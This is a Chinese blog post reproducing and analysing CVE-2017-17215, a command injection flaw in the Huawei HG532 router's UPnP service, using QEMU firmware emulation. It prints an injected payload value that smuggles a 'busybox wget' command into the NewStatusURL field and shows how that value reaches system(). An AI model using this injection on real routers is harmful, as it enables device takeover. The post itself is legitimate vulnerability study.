通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃
1.基本信息:
2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞。看起来是个很简单的漏洞了,书上得来终觉浅,须知此事要躬行,复现和分析的过程中遇到很多坑,写文记录一下详细步骤。
华为已经发了漏洞公告,固件已经升级到HG532eV100R001C02B017_upgrade_main.bin。从论坛里找到了带漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。
分析环境是ubuntu 16.04.
先用binwalk 解压一下:
根据 Check Point 的报告,漏洞点位于 UPnP 服务中,file命令看一下,可以看到upnp应该是跑在MIPS 32 位 大端架构系统
2.配置复现环境:
安装 qemu:
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
安装网络配置工具:
apt-get install bridge-utils uml-utilities
修改 ubuntu主机网络配置,将ubuntu主机系统中的网络接口配置文件 /etc/network/interfaces 修改为如下内容:
创建QEMU的网络接口启动脚本(/etc/qemu-ifup)并保存为如下内容:
赋予文件/etc/qemu-ifup 可执行权限:
sudo chmod a+x /etc/qemu-ifup
重启网络使所有的配置生效:
sudo /etc/init.d/networking restart
关闭ens33,启动桥连网络br0
sudo ifdown eth0
sudo ifup br0
从https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像
其他的帖子里有各种下载qemu镜像的地址,试了几个下载都不好用,各种坑
我下载的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
启动qemu运行刚镜像:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap
好的,假如一切顺利,可以看到一个qemu虚拟机,用root/root登录进去:
发现网络不通,ifconfig -a 看一下发现网络接口为eth1:
将nano /etc/network/interfaces 文件中的eth0改为eth1:
再用ifup eth1 将eth1启起来,运气好的话此时网络已经好了。
直接操作虚拟机显然比较麻烦,在ubuntu上搞个SSH 连进来,ssh root@虚拟机ip
将之前解压的固件包拷贝到虚拟机里面:
scp -r ./squashfs-root root@虚拟机ip:/root/
完成搭建路由器固件运行的环境。
3.复现漏洞:
第一个问题是怎么让路由器里的服务启起来,我们也不知道是哪个文件会去处理80端口过来的请求,先看下checkpoint报告里的payload
在固件文件夹下搜一下 ctrlt 和 DeviceUpgrade_1,并没有文件名含有这2个词语,再搜下包含这2个词语的文件:
找到固件所在的位置,想直接执行下upnp这个文件,报错,缺少相应的so文件造成。
chroot /root/squashfs-root /bin/sh来切换根目录到路由器文件系统,执行成功:
可是发包过去仍然失败,应该是并没有启动监听服务
那找下端口37215
端口号只出现在mic文件内,看下文件内容:
看字符串像是一个跟网络服务相关的文件,试下运行一下:
看起来像是对了,
ubuntu上nc -vlp 80 监听一下端口,跑一下exp,80端口收到路由器发来的wget 请求包。
4.简单分析:
分析一下upnp中的关键代码:
根据上面payload图,newstatusurl这个节点值为 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>
snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)
其中a0是拷贝的源字符串的地址,同时a0又是system 调用的第一个参数。所以最后会执行
system(a0)
如果看完整篇文章想上手试一下路由器漏洞的话,不要忘了当初你是为什么放弃的.
通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃的更多相关文章
- Spring5.x源码分析 | 从踩坑到放弃之环境搭建
Spring5.x源码分析--从踩坑到放弃之环境搭建 前言 自从Spring发行4.x后,很久没去好好看过Spring源码了,加上最近半年工作都是偏管理和参与设计为主,在技术细节上或多或少有点疏忽,最 ...
- jackson学习+CVE-2019-12086漏洞分析
jackson和fastjson差不多,都是用来更方便的处理json 国人用fastjson,老外用jackson/gson比较多 环境搭建: pom.xml: <dependency> ...
- WEB安全漏洞挖掘向入坑指北
这个指北不会给出太多的网站和方向建议,因为博主相信读者能够从一个点从而了解全局,初期的时候就丢一大堆安全网址导航只会浇灭人的热情,而且我也不适合传道授业解惑hhh 安全论坛: 先知社区 freebuf ...
- 【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记
0x00 基本信息 2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞. 华为HG53 ...
- 路由器漏洞复现分析第三弹:DVRF INTRO题目分析
这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...
- 通过qemu复现路由器漏洞
目录 简介 环境搭建 固件解包 复现漏洞,IDA调试 参考资料 简介 qemu和vmware一样,一种虚拟机软件,只不过qemu能够虚拟的平台更加丰富一些.能够虚拟很多嵌入式平台的设备. 工作上需要向 ...
- 路由器逆向分析------在QEMU MIPS虚拟机上运行MIPS程序(ssh方式)
本文博客地址:http://blog.csdn.net/qq1084283172/article/details/69652258 在QEMU MIPS虚拟机上运行MIPS程序--SSH方式 有关在u ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- DLink 815路由器栈溢出漏洞分析与复现
DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...
随机推荐
- zoj 2110 Tempter of the Bone (dfs)
Tempter of the Bone Time Limit: 2 Seconds Memory Limit: 65536 KB The doggie found a bone in an ...
- vue嵌套路由与404重定向实现方法分析
第一部分: vue嵌套路由 嵌套路由是什么? 嵌套路由就是在一个被路由过来的页面下可以继续使用路由,嵌套也就是路由中的路由的意思. 比如在vue中,我们如果不使用嵌套路由,那么只有一个<rout ...
- JS获取照片拍摄的角度属性,用于旋转控制
我工作十余年,从负责一个模块,到负责一个产品,再到负责整个支付平台的架构设计,包括业务架构.产品架构到应用架构,再到技术架构,是一个从点到面逐渐转型的过程,同样是个“自相似”的现象,我一开始写博客,再 ...
- BZOJ3594 [Scoi2014]方伯伯的玉米田 【树状数组优化dp】
题目链接 BZOJ3594 题解 dp难题总是想不出来,, 首先要观察到一个很重要的性质,就是每次拔高一定是拔一段后缀 因为如果单独只拔前段的话,后面与前面的高度差距大了,不优反劣 然后很显然可以设出 ...
- 用IE滤镜实现的一些特效
CSS3是当下非常火的一个话题,很多浏览器都已经开始支持这一特性,然后IE这个拥有庞大用户群体的平台,却无法提供这样的支持,即便是IE9发布,也无法改变这一事实,然而,幸运的是,IE并非在这方面毫无作 ...
- 使用java的自定义过滤器Filter 处理请求request 并响应response
package com.enation.eop; import java.io.BufferedReader; import java.io.IOException; import java.io.I ...
- 转:Android ListView 异步加载图片
http://www.iteye.com/topic/1118828 http://www.iteye.com/topic/1127914 这样做无疑是非常可取的方法,但是加载图片时仍然会感觉到轻微的 ...
- 9.OpenStack安装web界面
安装仪表板 安装仪表板组件 yum install -y openstack-dashboard httpd mod_wsgi memcached python-memcached 编辑/etc/op ...
- Windows8 上用Ubuntu-Ubuntu启动SSH
公司刚给配了一个电脑,华硕的超级本8个G的内存,很强大的了,但是系统是64位的windows 8,我用wubi.exe直接安装到系统上,但是开机启动的时候总是下面这个错误,去Ubuntu社区请教,结论 ...
- 【ACM】不要62 (数位DP)
题目:http://acm.acmcoder.com/showproblem.php?pid=2089 杭州人称那些傻乎乎粘嗒嗒的人为62(音:laoer).杭州交通管理局经常会扩充一些的士车牌照,新 ...